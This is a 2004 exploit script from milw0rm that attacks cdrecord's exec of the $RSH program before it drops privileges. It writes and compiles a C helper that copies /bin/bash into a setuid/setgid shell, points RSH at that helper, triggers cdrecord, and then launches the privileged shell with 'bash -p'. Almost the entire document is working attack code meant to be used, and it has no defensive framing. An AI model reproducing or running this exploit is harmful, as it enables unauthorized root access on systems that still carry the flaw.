CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation

#!/bin/bash

#
# cdrecord-suidshell.sh - I)ruid [CAU] (09.2004)
#
# Exploits cdrecord's exec() of $RSH before dropping privs 
#

cat > ./cpbinbash.c << __EOF__
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

main( int argc, char *argv[] ) {
int fd1, fd2;
int count;
char buffer[1];

/* Set ID's */
setuid( geteuid() );
setgid( geteuid() );

/* Copy the shell */
if ((fd1=open( "/bin/bash", O_RDONLY))<0)
return -1;
if ((fd2=open( "./bash", O_WRONLY|O_CREAT))<0)
return -1;
while((count=read(fd1, buffer, 1)))
write(fd2, buffer, count);
free(buffer);
close( fd1 );
close( fd2 );

/* Priv the shell */
chown( "./bash", geteuid(), geteuid() );
chmod( "./bash", 3565 );
}
__EOF__

cc ./cpbinbash.c -o ./cpbinbash

# Set up environment
export RSHSAVE=$RSH
export RSH=./cpbinbash

# Sploit
cdrecord dev= REMOTE:CAU:1,0,0 -

# Cleanup
rm cpbinbash*
export RSH=$RSHSAVE
export RSHSAVE=

# Use our suid bash
./bash -p 

// milw0rm.com [2004-09-11]